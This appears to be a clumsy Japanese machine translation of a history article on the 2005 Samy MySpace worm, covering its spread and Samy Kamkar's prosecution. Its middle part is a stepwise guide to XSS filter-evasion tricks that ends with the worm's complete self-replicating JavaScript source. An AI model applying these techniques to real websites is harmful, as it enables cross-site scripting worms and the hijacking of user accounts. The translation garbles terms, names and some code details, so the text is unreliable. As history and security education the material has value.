インターネットを変えたワーム

物語の主人公であるサミ・カムカは、誰にとっても「ヒーロー」になりたくなかった。彼は新しい友達を作ることすらしなかった。 しかし、数行のスマートコードのおかげで、彼は1日で100万人以上の人々の「ヒーロー」および「友人」になりました。







それはすべて、2005年10月4日の真夜中頃、晴れたロサンゼルスの街で起こりました。 その後、19歳のハッカーSamy Kamkaが、「Samy worm」として知られるものをリリースしました。 これは、Webセキュリティの世界を永久に変えた最初の最速の自己拡散型ウイルスでした。



16歳で学校を辞め、17歳でFonalityというソフトウェアスタートアップを始めた後、Kamkaは自分の行動を非常に簡単に説明しました。

テクノロジーの友達に感銘を与えたかっただけです。

ワームが始まる1週間前にすべてが始まりました。 当時、MySpaceはユーザーがプロファイルを自由にカスタマイズできるようにし、HTMLコードを使用できるようにしました。これにより、プロファイルがカラフルでしばしば痛みを伴う表示につながりました。 ただし、MySpaceのすべてをカスタマイズできるわけではありません。 ユーザーがアップロードできる写真は12枚まででした。 多くの人がこの制限を回避する方法を心配していました。 そこでKamkaは、MySpaceを調査して、サイトをだまし、他のユーザーができなかったことを実行する方法を見つけ始めました。 すぐに彼は彼のプロフィールに13枚の写真をアップロードした最初の人でした。



また、ユーザーは「関係」列で狭い選択をしました。 ドロップダウンメニューには、結婚、独身、交際などの標準オプションが含まれていました。 しかし、その瞬間に関係を持っていたサミーは、「関係の中で」特別な地位を際立たせ、示すことができることを望んでいました。 そして、しばらくして、n行のコードを並べ替えて、彼は元のアイデアを実現することができました。 サミが言ったように：

これを行うとすぐに、ページでほとんどすべてのことができるようになったことに気付きました。

Kamkaは1週間、他のユーザーには見えないスクリプトを作成し、自分のプロファイルを訪れたすべての人に彼を友人として追加することを強制しました。 このスクリプトは、「私のヒーロー：しかし、私の主人公はサミー」というカテゴリの下にある「強制された」友人のプロファイルに線を付けます。 しかし、その後、彼はこの方法で、自分のページを訪れた人だけに焦点を合わせた場合、多くの友人を作ることができないことに気付きました。 そのため、独創的な若者がスクリプトに、訪問者のページに自己コピーする可能性を追加しました。 この重要な瞬間に、彼は自己増殖型ワームを作成しました。







サミーによると：

私は、1か月で約100人または200人の友人ができると考えました。 それらのいくつかは文句を言うでしょうが、私はそれらを削除するだけで問題ありません。

翌朝目を覚ますと、彼は200を超える友達リクエストを見つけました。 この時点で、サミーはショックを受けました。ワームが予想よりもはるかに速く拡散したためです。 1時間後、リクエストは2倍になり、指数関数的に増加し続けました。 それからKamkaはMySpaceを支持する匿名の手紙を送り、ワームについて警告し、それを止める方法を示しました。 しかし、今日まで、誰かが彼の手紙を読むかどうかは謎のままです。



午後の13時30分には、若いハッカーにはすでに2500人以上の友人がいて、6000人以上の友人へのリクエストがありました。 プロセスは制御不能になりました。



Kamkaは、その夜に起こったことをすべて説明するブログ投稿を投稿しました。 サミが思い出すように：

人々は文字通り私を彼らのページをハッキングした人物として報告した手紙で私を圧倒しました。 結局のところ、彼らのヒーローのリストに輝いたのは私の名前でした。

誰も私を訴えていないことを望みます。

数時間後、SamyはChipotliでブリトーを食べに行き、MySpaceのプロフィールをチェックするために家に戻りました。 その瞬間、彼はほぼ100万人の友人からのリクエストがありました。 そして、ここに彼が彼のブログに書いたものがあります：

私は人気があります。 これは公式です。

MySpaceが利用できなくなる数分前に、リクエストの数が100万を超えました。 会社は、何が起こったのかを見つけてワームを排除するために、サイトを閉鎖する必要がありました。 サミは認める：

ひどかった。 本当にぎこちなかった。

しかし、彼はもはや何もできませんでした。 彼がワームをリリースするとすぐに、そのプロセスはすでに不可逆的であり、ウイルスはそれ自体で急速に広がりつつあります。 数時間後、サイトは再び利用可能になりましたが、Kamkaのプロファイルはすでに削除されています。



事件の数か月後にMySpaceのセキュリティディレクターになったKunel Anandは、ワーム[Samy]が攻撃したとき、会社には実質的にセキュリティチームがなく、何をすべきかわからなかったと言いました。 誰も前にそのようなものを見たことがなかったので、この瞬間はターニングポイントでした。



ワーム[サミー]の配置方法を見てみましょう。



MySpaceはほとんどのタグをブロックします。実際には、<a。>、<Img。>、および<div。>、おそらく<embed。>など、他のタグのみが許可されます。 ただし、<script。>、<Body。>、With JavaScriptなどのタグは絶対に許可されません。 ただし、一部のブラウザーはCSSタグ内でJavaScriptを許可します。 これらすべてをさらに機能させるにはJavaScriptが必要です。

例：

<div style="background:url('javascript:alert(1)')">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

単一引用符と二重引用符はすでに使用されているため、ブロック内で引用符をさらに使用することはできません。 これにより、JSのコーディングが大幅に複雑になります。 これを回避するには、式を使用してJSを保存し、名前で実行します。

例：

 <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これでJavaScriptを一重引用符で囲むことができます。 ただし、MySpaceはどこからでも「JavaScript」という単語を削除します。 しかし、一部のブラウザは実際にjava \ nscriptをjavascriptとして解釈します。 （これはjava <new line>スクリプトです）。

例：

 <div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

さて、一重引用符を使用していますが、二重引用符が必要な場合があります。 しかし、問題はMySpaceがエスケープする引用符を見逃さないことです。 ただし、JavaScriptで10進数をASCIIに変換するだけで、実際に引用符を取得できます。

例：

 <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')">
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

コードを表示したユーザーのページにコードを残すには、ページのソースコードを取得する必要があります。 ソースコードを取得するには、document.body.innerHTMLを使用できます。 ただし、MySpaceはinnerHTMLという単語を削除します。これを回避するには、eval（）を使用して2つのシーケンスを評価し、それらを連結して「innerHTML」を取得する価値があります。

例：

 alert(eval('document.body.inne' + 'rHTML'));
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

他のページへの実際のアクセス中に、フローティングフレームを使用したいと思います。 ただし、原則として、フレーム（隠されたフレームも）はそれほど有用ではなく、ユーザーにとっては「他の何か」が続くほど明白ではありません。 AJAX（HTTP XML）を使用して、HTTPキャプチャを実行し、コードをユーザーページにコピーできます。 ただし、MySpaceは、XML-HTTP要求に必要な「onreadystatechange」という単語を削除します。 繰り返しますが、これを回避するために推定値を使用できます。 HTTP XMLのもう1つの利点は、MySpaceでアクションを実行するために必要なCookieが簡単に送信されることです。

例：

 eval('xmlhttp.onread' + 'ystatechange = callback');
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ユーザーのプロフィールにアクセスできるようになると、キャラクターのリストにもアクセスできるようになります。 現在のヒーローのリストを削除する必要はありません。このリストに自分を追加するだけです。 プロファイルにアクセスできたら、現在のヒーローのリストにアクセスし、後で使用するために保存できます。 上記のすべてと計算により、HTTP XML要求を使用してこれを行うのは非常に簡単です。 友人のID（プロファイルを表示した実際のユーザー）を取得する必要がある場合を除きます。 上記のように、ページのソースコードにアクセスすることでこれを行うことができます。 真実は、特定の要求に従ってページで検索を実行する必要があることです。 しかし、単語による検索クエリを作成すると、問題が発生します。 ほとんどの場合、この単語はコード内にあります。 したがって、「ページに「何か」が含まれる場合、何かを行う」というクエリは常に肯定的な結果になります。この「何か」はユーザーのページにコピーされた独自のコードに含まれているためです。 eval（）関数を使用すると、この問題を回避できます。

例：

 var index = html.indexOf('frien' + 'dID');
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

この時点で、すでにヒーローのリストがあります。 ただし、初心者の場合、「友達の追加」ページでXML-HTTPリクエストを実行して友達を作る必要があります。 しかし、その後突然「たわごと」、それは動作しません。 しかし、なぜですか？ profile.myspace.comにありますが、ドメインwww.myspace.comでリクエストを行う必要があります。 大丈夫だと思うかもしれませんが、HTTP XMLでは、異なるドメイン名を持つサイトへの要求の送受信ができません。 これを回避するために、実際には同じURLにアクセスしますが、ドメインはwww.myspace.comです。 引き続きwww.myspace.comに代わってプロファイルを表示できます。そのため、目的のwwwドメインでページをリロードすると、リクエストを完了することができます。



例：

 if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

最後に、リクエストを実行できます。 はい、実際にリクエストを送信することによってのみ、友人を追加しません。 なぜこれが起こっているのですか？ 結局のところ、すべてが正しく行われます。 しかし、問題はこれです。 MySpaceはページにランダムハッシュを生成してリクエストを確認します（たとえば、「このユーザーを友達として追加してもよろしいですか？」）。 キャッシュがリクエストとともに転送されなかった場合、リクエストは処理されません。 この点を回避するには、ブラウザーのように動作し、ユーザーを追加する前にハッシュソースを解析し、ハッシュを転送するときにリクエストを送信する必要があります。



リクエストが完了したら、「ヒーロー」に自分自身を追加し、メインコードを挿入する必要があります。 最終的に、コードは同じセクション「ヒーロー」に配置されるので、完了のために必要なリクエストは1つだけです。 ただし、新しいハッシュを取得するには、最初にページを取得する必要があります。 しかし、その前に、そこに置きたいコードを再現する必要があります。 最も簡単な方法は、ソースコードを取得して解析し、調整することです。 これは機能しますが、コードは破損します。 ソースコードを抽出し、リクエストを適切に追加するには、暗号化されたURLが必要です。 奇妙ですが、それでも動作しません。 どうやらJavaScriptのURLコーディングとescape（）関数は必要なすべてのデータを表示しないため、出力に必要なデータを取得するために手動でいくつかの変更を行う必要があります。 Kamkaの場合と同様に、「しかし、私のヒーローのほとんどはSamiです」を追加します。その後、コード全体を挿入します。 自己複製コードであるワーム自体があります。

 <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

MySpace側ですべての修正を行った後、このコードは恐ろしくなくなり、機能しなくなります。



Kamkaがリリースしたワームは、急速な自己増殖にもかかわらず、無害で無害であることが判明しました。 彼は友人を追加するすべてを行ったが、「感染した」プロファイルにいくつかの行を入力した。 しかし、カムカが犯罪者であるか、悪意がある場合、彼は他の人のプロフィールを簡単に引き継ぐことができます。 XSSの略であるクロスサイトスクリプティングとして知られる若いハッカーが使用する手法。 攻撃者はその助けを借りて、Webサイトおよびユーザーのブラウザーに悪意のあるコードを挿入します。 Webセキュリティに精通している人々は、ほとんどのサイトがKamkaと同じように攻撃される可能性があることを知っていました。 しかし、[Samy]ワームが登場するまで、誰もこの脅威を真剣に受け止めませんでした。 当時、ウェブサイトの80〜90％がこのような攻撃に対して脆弱でした。 この問題は非常に注目を集め、Open Web Application Security Projectは、サイト用のAPIを作成し、ユーザーがXSSの脆弱性にさらされることなくページでコードを使用できるようにかなりの努力をしました。 2015年にWhiteHatのセキュリティによって収集されたデータによると、10年後、同じ脆弱性を抱えているWebサイトは47％だけです。 このワームが実証した脆弱性は、私たちが考えているよりも一般的です。







数年後、ウェブサイトとブラウザはクロスサイトスクリプティング攻撃に対するセキュリティを強化しましたが、さらに有名な攻撃を打ち負かしました。 たとえば、2013年には、いくつかのYahooメールボックスが同様の脆弱性のためにハッキングされました。 そして昨年、ハッカーはTweetDeckでXSSバグを発見し、サイトに迷惑なポップアップを表示できるようになりました。



無害な意図とワームの開始理由を説明するブログ投稿[Samy]にもかかわらず、Kamkaは法律の問題を完全に回避することができませんでした。 彼がワームをリリースしてから6か月後、シークレットサービスは、電子犯罪タスクフォースとともに、彼のアパートとオフィスの捜索令状を受け取りました。 彼から押収された当局：ラップトップ、3台のデスクトップコンピューター、すべての外部ドライブ。 ロサンゼルス郡の弁護士がコンピューター犯罪を告発 特に、California Criminal Codeに基づくコンピューターシステムへのウイルス感染。

怖かった。

カンカを思い出す。

高校卒業証明書さえ持っていなかったので、コンピューターを使い続けることができるかどうかは本当に重要でした。 それが私が持っていたすべてです。

Kamkaの弁護士と地元の検察官は、1年の間、若いハッカーに対する有罪の有罪を議論しました。 サミ自身は逮捕されることはありませんでした。それはすべて、彼が有罪を認め、コンピューターシステムへの実際のアクセスなしに3年間の保護観察を宣告されたという事実で終わりました。 彼は、インターネットにアクセスすることなく、当局によって登録された1台のコンピューターのみを使用する権利を有していました。



彼はまだスタートアップのリーダーとして働くことができ、ワームについて話すためにさまざまな会議に招待されました。 2007年、彼はOWASP＆WASC AppSec会議でWebセキュリティの専門家でありWhiteHatの創設者であるJeremiah Grossmanに会いました。 。 （これらのTシャツはオンラインで購入できます。）







ワームの3年後の2008年、カムカは法廷に戻り、裁判期間が短縮されました。 制限から解放されて、Samyは最初にApple Storeのサンタモニカに行き、そこで新しいラップトップを購入しました。 その後、彼は最寄りのスターバックスに行きました。 彼の唯一の目標は、ラップトップを開いてインターネットに接続することでした。







サミが思い出すように、MySpaceでの事件の前、彼は謙虚で内向的で内気な男でした。 しかし、インターネットにアクセスせずに3年間過ごした後、彼は他のことをしなければなりませんでした。 そして、それは彼を大きく変えました。